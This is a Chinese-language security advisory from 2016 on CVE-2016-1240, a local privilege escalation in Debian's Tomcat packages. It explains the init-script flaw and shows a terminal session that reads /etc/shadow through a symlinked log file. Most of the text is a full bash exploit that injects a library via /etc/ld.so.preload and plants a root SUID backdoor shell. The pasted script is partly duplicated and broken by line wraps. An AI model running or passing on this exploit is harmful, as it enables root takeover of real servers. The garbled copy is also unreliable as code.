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Tomcat服务本地提权漏洞预警

来源:本站整理 作者:佚名 时间:2016-10-08 TAG: 我要投稿

 Tomcat是由Apache软件基金会下属的Jakarta项目开发的一个Servlet容器,按照Sun Microsystems提供的技术规范,实现了对Servlet和JavaServer Page(JSP)的支持,并提供了作为Web服务器的一些特有功能,如Tomcat管理和控制平台、安全域管理和Tomcat阀等。

——来自于维基百科

10月1日,Tomcat爆出了一个本地提权漏洞。通过该漏洞,攻击者可以通过一个低权限的Tomcat用户获得系统的root权限。

漏洞相关信息:

CVE ID:

  • CVE-2016-1240

漏洞原理:

在Debian系统的Linux上管理员通常利用apt-get进行包管理,deb包是Unixar的标准归档,讲包文件信息以及包内容,经过gzip和tar打包而成。

该问题出在Tomcat的deb包中,使 deb包安装的Tomcat程序会自动为管理员安装一个启动脚本,该脚本位于/etc/init.d/tomcat*, 跟踪代码如下:

171  
  # Run the catalina.sh script as a daemon
172  
  set +e 

173
  touch "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out
174     
  chown $TOMCAT7_USER "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out
175     
  start-stop-daemon --start -b -u "$TOMCAT7_USER" -g "$TOMCAT7_GROUP" \
176        
  -c "$TOMCAT7_USER" -d "$CATALINA_TMPDIR" -p "$CATALINA_PID" \
177         
  -x /bin/bash -- -c "$AUTHBIND_COMMAND $TOMCAT_SH"
178     
  status="$?"
179  
  set +a -e 


在174行,Tomcat服务在启动时,会将log文件catalina.out的所有者改为Tomcat用户, 而启动脚本通常由root用户调用。如果将catalina.out修改为指向任意文件的链接将会导致攻击者以高权限随意操作任意系统文件。

利用分析:

该漏洞利用难度不大且场景常见,攻击者在上传webshell后拿到Tomcat用户权限,将catalina.out修改为指向 /etc/shadow 的softlink文件,启动脚本运行后,Tomcat用户将对 /etc/shadow 有访问权限,今读取修改root用户密码,测试如下:

➜ ~ su tomcat6 -c "head /var/log/tomcat6/catalina.out"
Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFil e WARNING: Problem with directory [/usr/share/tomcat6/common/classes], exists: [fa lse],
   isDirectory: [false], canRead: [false]
  Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFi
 le
  WARNING: Problem with directory [/usr/share/tomcat6/common], exists: [false], isD
 irec
  tory: [false], canRead: [false]
 Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFil
 e
  WARNING: Problem with directory [/usr/share/tomcat6/server/classes], exists: [fal
 se],
   isDirectory: [false], canRead: [false]
  Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFi
 le
  WARNING: Problem with directory [/usr/share/tomcat6/server], exists: [false], isD
 irec
  tory: [false], canRead: [false]
  Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFi
 le
  WARNING: Problem with directory [/usr/share/tomcat6/shared/classes], exists: [fal
 se],
   isDirectory: [false], canRead: [false]
 ➜ ~ su tomcat6 -c "ln -fs /etc/shadow /var/log/tomcat6/catalina.out"

➜ ~ su tomcat6 -c "head /var/log/tomcat6/catalina.out"
head: cannot open '/var/log/tomcat6/catalina.out' for reading: Permission denied
 ➜ ~ service tomcat6 start

➜ ~ su tomcat6 -c "head /var/log/tomcat6/catalina.out" root:$6$RYhPkXbD$6w2cN3u44Q 01gpHPMEjo9fgMXr7..1:16993:0:99999:7::: daemon:*:16911:0:99999:7::: bin:*:16911:0:99999:7:::
sys:*:16911:0:99999:7:::
sync:*:16911:0:99999:7:::
games:*:16911:0:99999:7:::
man:*:16911:0:99999:7:::
lp:*:16911:0:99999:7:::
mail:*:16911:0:99999:7:::
news:*:16911:0:99999:7::: 

该漏洞发现者也在报告公开 PoC, 利用也很有趣,作者不甘于单纯的文件操作,巧妙利用获得了一个root权限的shell

#!/bin/bash
 BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/tomcatrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"
function cleanexit {
    # Cleanup
    echo -e "\n[+] Cleaning up..."
    rm -f $PRIVESCSRC
    rm -f $PRIVESCLIB
    rm -f $TOMCATLOG
    touch $TOMCATLOG
    if [ -f /etc/ld.so.preload ]; then
        echo -n > /etc/ld.so.preload 2>/dev/null
    fi
    echo -e "\n[+] Job done. Exiting with code $1 \n"
exit $1 }

function ctrl_c() {
        echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred
 switch for deferred exploitation."
    cleanexit 0
}

#intro
echo -e "\033[94m \nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Es
calation Exploit\nCVE-2016-1240\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \03
3[0m"
# Args
if [ $# -lt 1 ]; then
    echo -e "\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n"
exit 3 fi

if [ "$2" = "-deferred" ]; then
    mode="deferred"
else
    mode="active"
fi

# Priv check
echo -e "\n[+] Starting the exploit in [\033[94m$mode\033[0m] mode with the follow
ing privileges: \n`id`"
id | grep -q tomcat
if [ $? -ne 0 ]; then
echo -e "\n[!] You need to execute the exploit as tomcat user! Exiting.\n"
#!/bin/bash
 BACKDOORSH="/bin/bash"
BACKDOORPATH=”/TMP/tomcatrootsh
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"
function cleanexit {
    # Cleanup
    echo -e "\n[+] Cleaning up..."
    rm -f $PRIVESCSRC
    rm -f $PRIVESCLIB
    rm -f $TOMCATLOG
    touch $TOMCATLOG
    if [ -f /etc/ld.so.preload ]; then
        echo -n > /etc/ld.so.preload 2>/dev/null
    fi
    echo -e "\n[+] Job done. Exiting with code $1 \n"
exit $1 }

function ctrl_c() {
        echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred
 switch for deferred exploitation."
    cleanexit 0
}

#intro
echo -e "\033[94m \nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Es
calation Exploit\nCVE-2016-1240\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \03
3[0m"
# Args
if [ $# -lt 1 ]; then
    echo -e "\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n"
exit 3 fi

if [ "$2" = "-deferred" ]; then
    mode="deferred"
else
    mode="active"
fi

# Priv check
echo -e "\n[+] Starting the exploit in [\033[94m$mode\033[0m] mode with the follow
ing privileges: \n`id`"
id | grep -q tomcat
if [ $? -ne 0 ]; then
echo -e "\n[!] You need to execute the exploit as tomcat user! Exiting.\n"
exit 3
fi

# Set target paths
TOMCATLOG="$1"
if [ ! -f $TOMCATLOG ]; then
    echo -e "\n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn't exis
t. Try again.\n"
exit 3 fi

echo -e "\n[+] Target Tomcat log file set to $TOMCATLOG"
# [ Deferred exploitation ]
# Symlink the log file to /etc/default/locale file which gets executed daily on de
fault
# tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation
 cronjob around 6:25am.
# Attackers can freely add their commands to the /etc/default/locale script after
Tomcat has been
# restarted and file owner gets changed.
if [ "$mode" = "deferred" ]; then
    rm -f $TOMCATLOG && ln -s /etc/default/locale $TOMCATLOG
    if [ $? -ne 0 ]; then
        echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."
        cleanexit 3
    fi
    echo -e  "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"
    echo -e  "\n[+] The current owner of the file is: \n`ls -l /etc/default/locale
`"
    echo -ne "\n[+] Keep an eye on the owner change on /etc/default/locale . After
 the Tomcat restart / system reboot"
    echo -ne "\n    you'll be able to add arbitrary commands to the file which wil
l get executed with root privileges"
    echo -ne "\n    at ~6:25am by the /etc/cron.daily/tomcatN log rotation cron. S
ee also -active mode if you can't wait ;)\n\n"
exit 0 fi

# [ Active exploitation ]
trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include<unistd.h>
#include <dlfcn.h>
uid_t geteuid(void) {
    static uid_t  (*old_geteuid)();
    old_geteuid = dlsym(RTLD_NEXT, "geteuid");
    if ( old_geteuid() == 0 ) {
        chown("$BACKDOORPATH", 0, 0);
        chmod("$BACKDOORPATH", 04777);
        unlink("/etc/ld.so.preload");
}

    return old_geteuid();
}
_solibeof_
gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl
if [ $? -ne 0 ]; then
    echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
    cleanexit 2;
fi
# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"
# Safety check
if [ -f /etc/ld.so.preload ]; then
    echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
    cleanexit 2
fi
# Symlink the log file to ld.so.preload
rm -f $TOMCATLOG && ln -s /etc/ld.so.preload $TOMCATLOG
if [ $? -ne 0 ]; then
    echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."
    cleanexit 3
fi
echo -e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"
# Wait for Tomcat to re-open the logs
echo -ne "\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart..."
echo -e  "\nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat
user) if needed ;)"
while :; do
    sleep 0.1
    if [ -f /etc/ld.so.preload ]; then
        echo $PRIVESCLIB > /etc/ld.so.preload
break; fi

done

 # /etc/ld.so.preload file should be owned by tomcat user at this point
 # Inject the privesc.so shared library to escalate privileges
 echo $PRIVESCLIB > /etc/ld.so.preload
 echo -e "\n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomc
 at privileges: \n`ls -l /etc/ld.so.preload`"
 echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
 echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload
 `"
 # Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
 echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
 sudo --help 2>/dev/null >/dev/null
 # Check for the rootshell
 ls -l $BACKDOORPATH | grep rws | grep -q root
 if [ $? -eq 0 ]; then
     echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPA
 TH`"
     echo -e "\n\033[94mPlease tell me you're seeing this too 😉 \033[0m"
 else
     echo -e "\n[!] Failed to get root"
     cleanexit 2
 fi
 # Execute the rootshell
 echo -e "\n[+] Executing the rootshell $BACKDOORPATH now! \n"
 $BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
 $BACKDOORPATH -p
 # Job done.
 cleanexit 0

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